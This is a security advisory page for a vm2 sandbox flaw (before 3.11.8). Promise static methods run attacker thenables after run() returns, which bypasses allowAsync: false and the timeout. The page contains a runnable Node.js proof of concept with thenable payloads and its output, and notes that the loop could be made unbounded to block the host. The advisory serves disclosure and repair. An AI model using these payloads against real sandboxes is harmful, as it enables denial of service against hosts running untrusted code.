CVE-2026-92959: vm2 before 3.11.8 allowAsync Bypass via Promise Thenable

Published Sep 17, 2026
·
Updated

Summary

When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable]), and Promise.allSettled([thenable]) can invoke the thenable's then method in a microtask after VM.run() or NodeVM.run() has already returned.

This bypasses the documented async-execution restriction and runs outside the configured timeout, allowing sandboxed code to continue executing after the host believes execution is complete.

Details

The documented VM option says allowAsync: false should cause attempts to run async code to throw a VMError; README.md:139-145 also recommends using it with timeout. The implementation enforces part of this policy by replacing localPromise.prototype.then with an AsyncErrorHandler when async is disabled:

- lib/setup-sandbox.js:1629-1637 defines AsyncErrorHandler, whose apply and construct traps throw VMError: Async not available. - lib/setup-sandbox.js:1743-1752 installs that handler on localPromise.prototype.then when allowAsync is false.

However, Promise static methods are still exposed and rebound to localPromise:

- lib/setup-sandbox.js:1816-1819 wraps Promise.all. - lib/setup-sandbox.js:1821-1824 wraps Promise.race. - lib/setup-sandbox.js:1826-1830 wraps Promise.allSettled. - lib/setup-sandbox.js:1833-1837 wraps Promise.any. - lib/setup-sandbox.js:1840-1843 wraps Promise.resolve.

Those wrappers prevent species attacks by forcing localPromise as the constructor, but they do not reject or neutralize thenables when allowAsync is false. Native Promise resolution then performs PromiseResolveThenableJob and calls the attacker-controlled then method asynchronously. That job does not go through the patched localPromise.prototype.then method, so the AsyncErrorHandler is never reached.

NodeVM inherits the same sandbox Promise setup through VM (lib/nodevm.js:328-332), so the same thenable-assimilation bypass is reachable in NodeVM as well.

The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of catch, import, async, with, the internal state identifier, or \u, so lib/transformer.js:82-89 returns without AST parsing.

PoC

Maintainer-runnable clean-checkout recipe:

sh npm install node - <<'NODE' const {VM, NodeVM} = require('./');

async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(${name}: returned ${ret}); } catch (e) { console.log(${name}: threw ${e.name}:${e.message}); } await new Promise(resolve => setImmediate(resolve)); console.log(${name} events: ${events.length ? events.join(',') : '<none>'}); }

async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(${name}: returned ${ret}); } catch (e) { console.log(${name}: threw ${e.name}:${e.message}); } await new Promise(resolve => setImmediate(resolve)); console.log(${name} events: ${events.length ? events.join(',') : '<none>'}); }

(async () => { await runVmCase('VM Promise.resolve thenable', Promise.resolve({then(r){mark('resolve-thenable')}}); 1); await runVmCase('VM Promise.all thenable', Promise.all([{then(r){mark('all-thenable')}}]); 1); await runVmCase('VM Promise.race thenable', Promise.race([{then(r){mark('race-thenable')}}]); 1); await runVmCase('VM Promise.any thenable', Promise.any([{then(r){mark('any-thenable')}}]); 1); await runVmCase('VM Promise.allSettled thenable', Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1); await runVmCase('VM direct then negative control', Promise.resolve(1).then(function(){mark('direct')}); 1);

await runNodeVmCase('NodeVM Promise.resolve thenable', Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;); await runNodeVmCase('NodeVM direct then negative control', Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;);

const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(timeout case returned: ${ret}); console.log(timeout case runReturnedInMs: ${afterRun - started}); console.log(timeout case events: ${timeoutEvents.length}); console.log(timeout case elapsedMs: ${Date.now() - started}); })(); NODE

Expected vulnerable output pattern:

text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35

Observed local output from this environment, using temporary local acorn/acorn-walk stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:

json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", "<none>"] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } }

Observed NodeVM variant output:

text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: <none>

Impact

Applications commonly combine timeout with allowAsync: false so untrusted scripts run synchronously and cannot continue after run() returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have VM.run() return successfully, and execute attacker-controlled code afterward. Because the code runs after VM.run() has returned, the configured timeout no longer interrupts it.

A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.

Negative/control evidence: direct .then() is rejected with VMError: Async not available and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.

Suggested remediation

When allowAsync is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only Promise.prototype.then. At minimum, Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled should not invoke attacker-controlled thenables under allowAsync: false. Possible fixes include replacing these static methods with AsyncErrorHandler-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.

Add regression tests for VM and NodeVM that verify:

- Promise.resolve({ then(){} }) throws or does not call the thenable when allowAsync: false. - Promise.all, Promise.race, Promise.any, and Promise.allSettled do the same for thenable elements. - Direct .then() remains blocked. - A timeout-configured VM cannot execute code after run() returns via Promise thenable assimilation.

Variant analysis summary

Confirmed variants:

- VM({allowAsync:false}).run('Promise.resolve(thenable)') - VM({allowAsync:false}).run('Promise.all([thenable])') - VM({allowAsync:false}).run('Promise.race([thenable])') - VM({allowAsync:false}).run('Promise.any([thenable])') - VM({allowAsync:false}).run('Promise.allSettled([thenable])') - NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')

Negative cases checked:

- Direct Promise.resolve(1).then(...) throws VMError: Async not available in both VM and NodeVM. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.

Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Other sources

vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.

— NVD

Affected Software

2 affected componentsFixes available
npm/vm2<3.11.8
npm/vm2<=3.11.7
3.11.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.8
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.8

Event History

Sep 17, 2026
CVE Published
via MITRE·01:46 PM
Data Sourced
via MITRE·01:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:18 PM
DescriptionSeverityWeakness
Oct 5, 2026
Advisory Published
via GitHub·10:47 PM
Data Sourced
via GitHub·10:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using npm/vm2 before 3.11.8 are exposed when they run untrusted sandboxed code in VM or NodeVM with allowAsync set to false. The issue matters where the host relies on that setting or the configured timeout to ensure sandboxed execution has finished.

2

What does an attacker need to exploit it?

An attacker needs the ability to supply or control JavaScript executed inside the vm2 sandbox. They can provide a thenable whose then method is assimilated through Promise static methods such as Promise.resolve, Promise.all, Promise.race, Promise.any, or Promise.allSettled.

3

What is the impact of a successful exploit?

Sandboxed code can schedule microtask work that executes after VM.run() or NodeVM.run() returns. This work runs outside the configured timeout, so the host may treat execution as complete while attacker-controlled sandbox code continues running.

4

What should be done if upgrading is not immediately possible?

Do not rely on allowAsync: false or the configured timeout as a complete execution boundary for untrusted code. Avoid running untrusted sandboxed scripts that can use Promise static methods with attacker-controlled thenables until vm2 is updated to 3.11.8 or later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203